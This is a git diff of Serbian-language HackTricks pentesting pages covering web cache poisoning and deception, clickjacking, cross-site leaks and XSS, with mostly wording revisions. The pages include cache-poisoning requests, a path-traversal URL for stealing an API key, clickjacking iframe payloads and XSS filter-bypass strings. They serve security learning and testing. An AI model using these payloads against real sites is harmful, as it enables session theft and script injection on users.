put resurs ponovo biti keširan: `Cache-Control: public, max-age=1800`\ Još jedan interesantan header je **`Vary`**. Ovaj header se često koristi da **ukazuje na dodatne headere** koji se tretiraju kao **deo ključa keša** čak i ako obično nisu ključni. Stoga, ako korisnik zna `User-Agent` žrtve koju cilja, može otrovati keš za korisnike koji koriste taj specifičan `User-Agent`.\ @@ -88,13 +88,13 @@ GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -### Trovanje keša sa prolazom putanje za krađu API ključa +### Trovanje keša sa putanjskim prelaskom da bi se ukrao API ključ -[**Ovaj tekst objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez normalizacije URL-a od strane Cloudflare-a, što je urađeno kada je zahtev stigao do veb servera. +[**Ovaj opis objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez normalizacije URL-a od strane Cloudflare-a, što je urađeno kada je zahtev stigao do veb servera. -### Korišćenje više zaglavlja za iskorišćavanje ranjivosti trovanja keša na vebu +### Korišćenje više zaglavlja za eksploataciju ranjivosti trovanja keša na vebu -Ponekad će vam biti potrebno **iskoristiti nekoliko neindeksiranih ulaza** kako biste mogli zloupotrebiti keš. Na primer, možete pronaći **Otvoreno preusmeravanje** ako postavite `X-Forwarded-Host` na domen koji kontrolišete i `X-Forwarded-Scheme` na `http`. **Ako** je **server** **preusmeravao** sve **HTTP** zahteve **na HTTPS** i koristio zaglavlje `X-Forwarded-Scheme` kao ime domena za preusmeravanje. Možete kontrolisati gde će stranica biti usmerena preusmeravanjem. +Ponekad će biti potrebno **eksploatisati nekoliko neindeksiranih unosa** kako biste mogli zloupotrebiti keš. Na primer, možete pronaći **Otvoreno preusmeravanje** ako postavite `X-Forwarded-Host` na domen koji kontrolišete i `X-Forwarded-Scheme` na `http`. **Ako** je **server** **preusmeravao** sve **HTTP** zahteve **na HTTPS** i koristio zaglavlje `X-Forwarded-Scheme` kao ime domena za preusmeravanje. Možete kontrolisati gde će stranica biti usmerena preusmeravanjem. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -120,10 +120,10 @@ Alat [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vu Primer korišćenja: `wcvs -u example.com` -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -132,27 +132,27 @@ Pristupite danas: ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS je prosleđivao fragment unutar URL-a bez uklanjanja i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Dakle, zahtev `/#/../?r=javascript:alert(1)` je poslat backend-u kao `/#/../?r=javascript:alert(1)` i ključ keša nije sadržavao payload unutar njega, samo host, putanju i upit. +ATS je prosleđivao fragment unutar URL-a bez uklanjanja istog i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Dakle, zahtev `/#/../?r=javascript:alert(1)` je poslat backend-u kao `/#/../?r=javascript:alert(1)` i ključ keša nije sadržavao payload unutar sebe, već samo host, putanju i upit. ### GitHub CP-DoS -Slanje loše vrednosti u zaglavlju content-type izazvalo je keširan odgovor 405. Ključ keša je sadržavao kolačić tako da je bilo moguće napasti samo neautentifikovane korisnike. +Slanje loše vrednosti u zaglavlju content-type pokrenulo je keširan odgovor 405. Ključ keša je sadržavao kolačić tako da je bilo moguće napasti samo neautentifikovane korisnike. ### GitLab + GCP CP-DoS -GitLab koristi GCP buckete za skladištenje statičkog sadržaja. **GCP Bucketi** podržavaju **zaglavlje `x-http-method-override`**. Tako je bilo moguće poslati zaglavlje `x-http-method-override: HEAD` i otrovati keš tako da vrati prazno telo odgovora. Takođe je mogao podržavati metod `PURGE`. +GitLab koristi GCP bucket-e za skladištenje statičkog sadržaja. **GCP Bucket-i** podržavaju **zaglavlje `x-http-method-override`**. Tako je bilo moguće poslati zaglavlje `x-http-method-override: HEAD` i otrovati keš tako da vrati prazno telo odgovora. Takođe je mogao podržavati metod `PURGE`. ### Rack Middleware (Ruby on Rails) U Ruby on Rails aplikacijama često se koristi Rack middleware. Svrsishodnost Rack koda je da uzme vrednost zaglavlja **`x-forwarded-scheme`** i postavi je kao šemu zahteva. Kada se pošalje zaglavlje `x-forwarded-scheme: http`, dolazi do 301 preusmerenja na istu lokaciju, što potencijalno može izazvati DoS (Denial of Service) za taj resurs. Dodatno, aplikacija može prepoznati zaglavlje `X-forwarded-host` i preusmeriti korisnike na određeni host. Ovo ponašanje može dovesti do učitavanja JavaScript fajlova sa servera napadača, predstavljajući sigurnosni rizik. -### 403 i Skladišni Bucketi +### 403 i Skladišni Bucket-i Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa neispravnim Autorizacijskim zaglavljima rezultovao bi 403 odgovorom koji bi bio keširan. Iako je Cloudflare prestao sa keširanjem 403 odgovora, ovo ponašanje može još uvek biti prisutno u drugim proxy uslugama. ### Ubacivanje Ključnih Parametara -Kešovi često uključuju određene GET parametre u ključ keša. Na primer, Fastly-jev Varnish je keširao `size` parametar u zahtevima. Međutim, ako je URL-kodirana verzija parametra (npr. `siz%65`) takođe poslata sa pogrešnom vrednošću, ključ keša bi bio konstruisan koristeći ispravan `size` parametar. Ipak, backend bi obradio vrednost u URL-kodiranom parametru. URL-kodiranje drugog `size` parametra dovelo je do njegovog izostavljanja iz keša ali njegove upotrebe od strane backend-a. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanjem 400 Bad Request greške. +Kešovi često uključuju određene GET parametre u ključ keša. Na primer, Fastly-jev Varnish je keširao `size` parametar u zahtevima. Međutim, ako je URL-kodirana verzija parametra poslata sa neispravnom vrednošću, ključ keša bi bio konstruisan koristeći ispravan `size` parametar. Ipak, backend bi obradio vrednost u URL-kodiranom parametru. URL-kodiranje drugog `size` parametra dovelo je do njegovog izostavljanja iz keša, ali njegovo korišćenje od strane backend-a. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanjem 400 Bad Request greške. ### Pravila Korisničkog Agent @@ -160,7 +160,7 @@ Neki programeri blokiraju zahteve sa korisničkim agentima koji se podudaraju sa ### Nezakonita Zaglavlja -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specificira prihvatljive karaktere u imenima zaglavlja. Zaglavlja koja sadrže karaktere van navedenog opsega **tchar** bi idealno trebala izazvati odgovor 400 Bad Request. U praksi, serveri se ne pridržavaju uvek ovog standarda. Značajan primer je Akamai, koji prosleđuje zaglavlja sa nevažećim karakterima i kešira bilo koju 400 grešku, sve dok zaglavlje `cache-control` nije prisutno. Identifikovan je iskoristiv obrazac gde slanje zaglavlja sa nevažećim karakterom, poput `\`, rezultuje keširanom 400 Bad Request greškom. +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specificira prihvatljive karaktere u imenima zaglavlja. Zaglavlja koja sadrže karaktere van navedenog opsega **tchar** idealno bi trebala pokrenuti odgovor 400 Bad Request. U praksi, serveri se ne pridržavaju uvek ovog standarda. Značajan primer je Akamai, koji prosleđuje zaglavlja sa nevažećim karakterima i kešira bilo koju 400 grešku, sve dok zaglavlje `cache-control` nije prisutno. Identifikovan je iskorišćiv obrazac gde slanje zaglavlja sa nevažećim karakterom, poput `\`, rezultuje keširanom 400 Bad Request greškom. ### Pronalaženje novih zaglavlja @@ -170,7 +170,7 @@ Neki programeri blokiraju zahteve sa korisničkim agentima koji se podudaraju sa Cilj Cache Prevara je da natera klijente da **učitavaju resurse koji će biti sačuvani u kešu sa njihovim osetljivim informacijama**. -Pre svega, napomenimo da su **ekstenzije** poput `.css`, `.js`, `.png` itd. obično **konfigurisane** da se **sačuvaju** u **kešu**. Stoga, ako pristupite `www.example.com/profile.php/nonexistent.js` keš će verovatno sačuvati odgovor jer vidi `.js` **ekstenziju**. Međutim, ako **aplikacija** ponavlja sa **osetljivim** korisničkim sadržajima sačuvanim u _www.example.com/profile.php_, možete **ukrasti** te sadržaje od drugih korisnika. +Pre svega, napomenimo da su **ekstenzije** poput `.css`, `.js`, `.png` itd. obično **konfigurisane** da se **sačuvaju** u **kešu**. Stoga, ako pristupite `www.example.com/profile.php/nonexistent.js`, keš će verovatno sačuvati odgovor jer vidi ekstenziju `.js`. Međutim, ako **aplikacija** ponavlja sa **osetljivim** korisničkim sadržajima sačuvanim u _www.example.com/profile.php_, možete **ukrasti** te sadržaje od drugih korisnika. Drugi testovi: @@ -182,10 +182,10 @@ Drugi testovi: * _Koristite manje poznate ekstenzije poput_ `.avif` Još jedan veoma jasan primer može se naći u ovom opisu: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -U primeru je objašnjeno da ako učitate nepostojeću stranicu poput _http://www.example.com/home.php/non-existent.css_ sadržaj _http://www.example.com/home.php_ (**sa osetljivim informacijama korisnika**) će biti vraćen i keš server će sačuvati rezultat.\ -Zatim, **napadač** može pristupiti _http://www.example.com/home.php/non-existent.css_ u svom pregledaču i posmatrati **poverljive informacije** korisnika koji su pristupili pre. +U primeru je objašnjeno da ako učitate nepostojeću stranicu poput _http://www.example.com/home.php/non-existent.css_, sadržaj _http://www.example.com/home.php_ (**sa osetljivim informacijama korisnika**) će biti vraćen i keš server će sačuvati rezultat.\ +Zatim, **napadač** može pristupiti _http://www.example.com/home.php/non-existent.css_ u svom pregledaču i posmatrati **poverljive informacije** korisnika koji su pristupili prethodno. -Napomena da bi **keš proxy** trebalo da bude **konfigurisan** da **kešira** fajlove **bazirano** na **ekstenziji** fajla (_.css_) a ne na osnovu tipa sadržaja. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` tip sadržaja umesto `text/css` mime tipa (što se očekuje za _.css_ fajl). +Napomena da bi **keš proxy** trebalo da bude **konfigurisan** da **kešira** fajlove **bazirano** na **ekstenziji** fajla (_.css_) a ne na osnovu tipa sadržaja. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` tip sadržaja umesto `text/css` MIME tipa (što se očekuje za _.css_ fajl). Saznajte kako izvesti [Napade Cache Prevara zloupotrebom HTTP Request Smuggling](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). @@ -202,10 +202,10 @@ Saznajte kako izvesti [Napade Cache Prevara zloupotrebom HTTP Request Smuggling] * [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9) * [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/) -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -217,7 +217,7 @@ Drugi načini podrške HackTricks-u: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md index dd985ec59..3c5671b7c 100644 --- a/pentesting-web/clickjacking.md +++ b/pentesting-web/clickjacking.md @@ -6,7 +6,7 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u: -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ @@ -30,9 +30,9 @@ U clickjacking napadu, **korisnik** je **prevaren** da **klikne** na **element** Ponekad je moguće **popuniti vrednost polja forme korišćenjem GET parametara prilikom učitavanja stranice**. Napadač može zloupotrebiti ovu funkcionalnost da popuni formu proizvoljnim podacima i pošalje clickjacking payload tako da korisnik pritisne dugme za slanje. -### Popunjavanje forme sa Drag\&Drop +### Popunjavanje forme pomoću Drag\&Drop -Ako trebate da korisnik **popuni formu** ali ne želite direktno da ga zamolite da unese određene informacije (kao što su email ili specifična lozinka koju znate), možete ga jednostavno zamoliti da **prevuče i ispusti** nešto što će upisati vaše kontrolisane podatke kao u [**ovom primeru**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). +Ako trebate da korisnik **popuni formu** ali ne želite direktno da ga zamolite da unese određene informacije (kao što su email ili određena lozinka koju znate), možete ga jednostavno zamoliti da **prevuče i ispusti** nešto što će upisati vaše kontrolisane podatke kao u [**ovom primeru**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). ### Osnovni Payload ```markup @@ -78,7 +78,7 @@ left:210px;
Click me next
``` -### Povuci i otpusti + Klikni payload +### Povlačenje i ispuštanje + Klik payload ```markup @@ -109,26 +109,26 @@ background: #F00; ``` ### XSS + Clickjacking -Ako ste identifikovali **XSS napad koji zahteva da korisnik klikne** na neki element da bi **pokrenuo** XSS i stranica je **ranjiva na clickjacking**, možete je zloupotrebiti da prevarite korisnika da klikne na dugme/link.\ +Ako ste identifikovali **XSS napad koji zahteva da korisnik klikne** na neki element kako bi **pokrenuo** XSS i stranica je **ranjiva na clickjacking**, možete je zloupotrebiti da prevarite korisnika da klikne na dugme/link.\ Primer:\ _Pronašli ste **self XSS** u nekim privatnim detaljima naloga (detalji koje **samo vi možete postaviti i pročitati**). Stranica sa **formom** za postavljanje ovih detalja je **ranjiva** na **Clickjacking** i možete **unapred popuniti** **formu** sa GET parametrima._\ -\_\_Napadač bi mogao pripremiti **Clickjacking** napad na tu stranicu **unapred popunjavajući** **formu** sa **XSS payloadom** i **prevariti** **korisnika** da **pošalje** formu. Dakle, **kada se forma pošalje** i vrednosti se promene, **korisnik će izvršiti XSS**. +\_\_Napadač bi mogao pripremiti **Clickjacking** napad na tu stranicu **unapred popunjavajući** **formu** sa **XSS payloadom** i **prevariti** **korisnika** da **pošalje** formu. Dakle, **kada se forma pošalje** i vrednosti se izmene, **korisnik će izvršiti XSS**. -## Strategije za Smanjenje Clickjacking-a +## Strategije za Smanjenje Clickjackinga ### Odbrane na strani klijenta Skripte izvršene na strani klijenta mogu izvršiti radnje kako bi sprečile Clickjacking: * Osiguravanje da je prozor aplikacije glavni ili vrhunski prozor. -* Čineći sve okvire vidljivim. +* Učiniti sve okvire vidljivim. * Sprječavanje klikova na nevidljive okvire. -* Otkrivanje i obaveštavanje korisnika o potencijalnim pokušajima Clickjacking-a. +* Otkrivanje i obaveštavanje korisnika o potencijalnim pokušajima Clickjackinga. -Međutim, ove skripte za razbijanje okvira mogu biti zaobiđene: +Međutim, ove skripte za prekid okvira mogu biti zaobiđene: * **Postavke bezbednosti pregledača:** Neki pregledači mogu blokirati ove skripte na osnovu svojih postavki bezbednosti ili nedostatka podrške za JavaScript. -* **HTML5 iframe `sandbox` atribut:** Napadač može neutralisati skripte za razbijanje okvira postavljanjem atributa `sandbox` sa vrednostima `allow-forms` ili `allow-scripts` bez `allow-top-navigation`. Ovo sprečava iframe da proveri da li je glavni prozor, npr., +* **HTML5 iframe `sandbox` atribut:** Napadač može neutralisati skripte za prekid okvira postavljanjem atributa `sandbox` sa vrednostima `allow-forms` ili `allow-scripts` bez `allow-top-navigation`. Ovo sprečava iframe da proveri da li je glavni prozor, npr., ```html ``` @@ -138,10 +138,10 @@ Međutim, ove skripte za razbijanje okvira mogu biti zaobiđene: **`X-Frame-Options` HTTP odgovor zaglavlje** obaveštava pretraživače o legitimnosti prikazivanja stranice u `` ili ` @@ -156,30 +156,30 @@ Primećeno je da u odsustvu [Zaštitnih okvira](https://xsleaks.dev/docs/defense ### #ID + greška + onload * **Metode uključivanja**: Okviri -* **Detektibilna razlika**: Sadržaj stranice +* **Detektovana razlika**: Sadržaj stranice * **Više informacija**: * **Sažetak**: Ako možete da izazovete grešku na stranici kada se pristupi ispravnom sadržaju i da je pravilno učitate kada se pristupi bilo kom sadržaju, tada možete napraviti petlju za izvlačenje svih informacija bez merenja vremena. * **Primer koda**: Pretpostavimo da možete **ubaciti** **stranicu** koja ima **tajni** sadržaj **unutar Iframe-a**. -Možete **naterati žrtvu da traži** datoteku koja sadrži "_**flag**_" koristeći **Iframe** (na primer, iskorišćavanjem CSRF-a). Unutar Iframe-a znate da će se _**onload događaj**_ uvek **izvršiti barem jednom**. Zatim možete **promeniti** **URL** Iframe-a, ali menjajući samo **sadržaj** **hash-a** unutar URL-a. +Možete **naterati žrtvu da traži** datoteku koja sadrži "_**flag**_" koristeći **Iframe** (na primer, iskorišćavajući CSRF). Unutar Iframe-a znate da će se _**onload događaj**_ **uvek izvršiti barem jednom**. Zatim možete **promeniti** **URL** Iframe-a, ali menjajući samo **sadržaj** **hash-a** unutar URL-a. Na primer: 1. **URL1**: www.napadac.com/xssearch#probaj1 2. **URL2**: www.napadac.com/xssearch#probaj2 -Ako je prvi URL **uspešno učitan**, tada, kada se **promeni** **hash** dela URL-a, **onload** događaj se **neće ponovo pokrenuti**. Ali **ako** je stranica imala neku vrstu **greške** prilikom **učitavanja**, tada će se **onload** događaj ponovo **pokrenuti**. +Ako je prvi URL **uspešno učitan**, tada, kada se **promeni** **hash** dela URL-a, **onload** događaj **neće biti ponovo pokrenut**. Ali **ako** je stranica imala neku vrstu **greške** prilikom **učitavanja**, tada će se **onload** događaj ponovo **pokrenuti**. -Tako možete **razlikovati** između stranice koja je **ispravno** učitana i stranice koja ima **grešku** prilikom pristupa. +Tako možete **razlikovati** između **ispravno** učitane stranice ili stranice koja ima **grešku** prilikom pristupa. ### Izvršenje JavaScript-a * **Metode uključivanja**: Okviri -* **Detektibilna razlika**: Sadržaj stranice +* **Detektovana razlika**: Sadržaj stranice * **Više informacija**: -* **Sažetak**: Ako **stranica vraća** **osetljiv** sadržaj, **ili** sadržaj koji može biti **kontrolisan** od strane korisnika. Korisnik može postaviti **validan JS kod u negativnom slučaju**, i **učitati** svaki pokušaj unutar **``** oznaka HTML stranice, unutar `.js` datoteke ili unutar atributa korišćenjem **`javascript:`** protokola: -* Ako je reflektovan između **``** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati ubaciti `` i izbeći ovaj kontekst. Ovo funkcioniše jer će **pregledač prvo parsirati HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaš ubačeni `` tag unutar HTML koda. +* Ako je reflektovan između **``** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da ubacite `` i izbegnete ovaj kontekst. Ovo funkcioniše jer će **pregledač prvo parsirati HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaš ubačeni `` tag unutar HTML koda. * Ako je reflektovan **unutar JS stringa** i prethodni trik ne funkcioniše, moraćete **izaći** iz stringa, **izvršiti** svoj kod i **rekonstruisati** JS kod (ako postoji greška, neće biti izvršena): * `'-alert(1)-'` * `';-alert(1)//` @@ -87,26 +87,26 @@ U ovom slučaju, vaš unos se reflektuje između **``** \u0061lert(1) \u{0061}lert(1) ``` -#### Podizanje JavaScript-a +#### Podizanje Javascript-a -Podizanje JavaScript-a se odnosi na mogućnost **deklarisanja funkcija, promenljivih ili klasa nakon što su korišćene, tako da možete iskoristiti situacije gde XSS koristi nedeklarisane promenljive ili funkcije.**\ +Javascript Podizanje se odnosi na mogućnost **deklarisanja funkcija, promenljivih ili klasa nakon što su korišćene, tako da možete iskoristiti situacije gde XSS koristi nedeklarisane promenljive ili funkcije.**\ **Proverite sledeću stranicu za više informacija:** {% content-ref url="js-hoisting.md" %} [js-hoisting.md](js-hoisting.md) {% endcontent-ref %} -### JavaScript Funkcija +### Javascript Funkcija Na nekoliko web stranica postoje endpointovi koji **prihvataju kao parametar ime funkcije za izvršavanje**. Čest primer koji se može videti je nešto poput: `?callback=callbackFunc`. -Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je **menjanje vrednosti parametra** (na primer u 'Vulnerable') i traženje grešaka u konzoli kao: +Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je **menjanje vrednosti parametra** (na primer u 'Ranjiv') i traženje grešaka u konzoli kao: ![](<../../.gitbook/assets/image (651) (2).png>) -U slučaju da je ranjivo, možete **pokrenuti upozorenje** samo slanjem vrednosti: **`?callback=alert(1)`**. Međutim, vrlo je često da će ovi endpointovi **validirati sadržaj** da dozvole samo slova, brojeve, tačke i donje crte (**`[\w\._]`**). +U slučaju da je ranjiv, možete **pokrenuti upozorenje** samo slanjem vrednosti: **`?callback=alert(1)`**. Međutim, vrlo je često da će ovi endpointovi **validirati sadržaj** da dozvole samo slova, brojeve, tačke i donje crte (**`[\w\._]`**). -Ipak, čak i sa tom ograničenjem, još uvek je moguće izvršiti neke radnje. To je zato što možete koristiti te validne karaktere da **pristupite bilo kom elementu u DOM-u**: +Ipak, čak i sa tom ograničenjem, još uvek je moguće izvršiti neke akcije. To je zato što možete koristiti te validne karaktere da **pristupite bilo kom elementu u DOM-u**: ![](<../../.gitbook/assets/image (662).png>) @@ -130,7 +130,7 @@ Stoga, kako bi se **zloupotrebila ova ranjivost u drugom DOM-u**, razvijena je e ### DOM -Postoji **JS kod** koji **nesigurno** koristi neke **podatke kontrolisane od strane napadača** poput `location.href`. Napadač bi mogao zloupotrebiti ovo da izvrši proizvoljan JS kod. +Postoji **JS kod** koji **nesigurno** koristi neke **podatke kontrolisane od strane napadača** poput `location.href`. Napadač bi mogao da zloupotrebi ovo da izvrši proizvoljan JS kod. {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) @@ -138,7 +138,7 @@ Postoji **JS kod** koji **nesigurno** koristi neke **podatke kontrolisane od str ### **Universal XSS** -Ovakav XSS može se pronaći **bilo gde**. Ne zavise samo od eksploatacije klijenta veb aplikacije već od **bilo kog** **konteksta**. Ovakva vrsta **proizvoljne JavaScript eksploatacije** može čak biti zloupotrebljena da se dobije **RCE**, **čitanje** **proizvoljnih** **fajlova** na klijentima i serverima, i više.\ +Ovakav XSS može se pronaći **bilo gde**. Ne zavise samo o eksploataciji klijenta veb aplikacije već o **bilo kom** **kontekstu**. Ovakva vrsta **proizvoljne izvršne JavaScript** čak može biti zloupotrebljena da se dobije **RCE**, **čitanje** **proizvoljnih** **fajlova** na klijentima i serverima, i više.\ Neki **primeri**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} @@ -155,11 +155,11 @@ Neki **primeri**: ## Ubacivanje unutar sirovog HTML-a -Kada se vaš unos reflektuje **unutar HTML stranice** ili možete da pobegnete i ubacite HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete zloupotrebiti `<` da biste kreirali nove oznake: Jednostavno pokušajte da **reflektujete** taj **karakter** i proverite da li je **HTML enkodiran** ili **obrisan** ili ako je **reflektovan bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\ -Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +Kada se vaš unos reflektuje **unutar HTML stranice** ili možete da pobegnete i ubacite HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete zloupotrebiti `<` da biste kreirali nove oznake: Jednostavno pokušajte da **reflektujete** taj **karakter** i proverite da li je **HTML enkodiran** ili **obrisan** ili ako je **reflektovan bez promena**. **Samo u poslednjem slučaju moći ćete da iskoristite ovaj slučaj**.\ +Za ove slučajeve takođe **imajte na umu** [**Ubacivanje šablona na klijentskoj strani**](../client-side-template-injection-csti.md)**.**\ _**Napomena: HTML komentar može biti zatvoren koristeći**** ****`-->`**** ****ili**** ****`--!>`**_ -U ovom slučaju, ako se ne koristi crna/bela lista, možete koristiti payload-e poput: +U ovom slučaju, ako se ne koristi crna/bela lista, mogli biste koristiti payload-ove poput: ```html @@ -174,11 +174,11 @@ Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-shee ### Prilagođene oznake -Ako niste pronašli nijednu validnu HTML oznaku, možete pokušati da **kreirate prilagođenu oznaku** i izvršite JS kod sa atributom `onfocus`. U XSS zahtevu, morate završiti URL sa `#` da biste stranici omogućili **fokusiranje na taj objekat** i **izvršili** kod: +Ako niste pronašli nijednu validnu HTML oznaku, možete pokušati da **kreirate prilagođenu oznaku** i izvršite JS kod sa atributom `onfocus`. U XSS zahtevu, morate završiti URL sa `#` da biste naveli stranicu da se **fokusira na taj objekat** i **izvrši** kod: ``` /?search=#x ``` -### Bypass-ovi crne liste +### Bypassovanje crne liste Ako se koristi neka vrsta crne liste, možete pokušati da je zaobiđete nekim smešnim trikovima: ```javascript @@ -233,7 +233,7 @@ onerror=alert`1` ### Bypass dužine (mali XSS-ovi) {% hint style="info" %} -**Više malih XSS-ova za različite okoline** payload [**može se pronaći ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me). +**Više sitnih XSS-ova za različite okoline** payload [**može se pronaći ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me). {% endhint %} ```html @@ -247,7 +247,7 @@ Da biste proverili koje karaktere su dekomponovane, proverite [ovde](https://www ### Klikni XSS - Clickjacking -Ako za iskorišćavanje ranjivosti treba **korisnik da klikne na link ili formu** sa unapred popunjenim podacima, možete pokušati da [**zloupotrebite Clickjacking**](../clickjacking.md#xss-clickjacking) (ako je stranica ranjiva). +Ako za iskorišćavanje ranjivosti treba **korisnik da klikne na link ili formu** sa unapred popunjenim podacima, možete pokušati da **zloupotrebite Clickjacking** (ako je stranica ranjiva). ### Nemoguće - Dangling Markup @@ -263,7 +263,7 @@ Ako **ne možete izaći iz taga**, možete kreirati nove atribute unutar taga ka " autofocus onfocus=alert(document.domain) x=" " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t ``` -**Stil događaji** +**Stil događaja** ```python

XSS

XSS

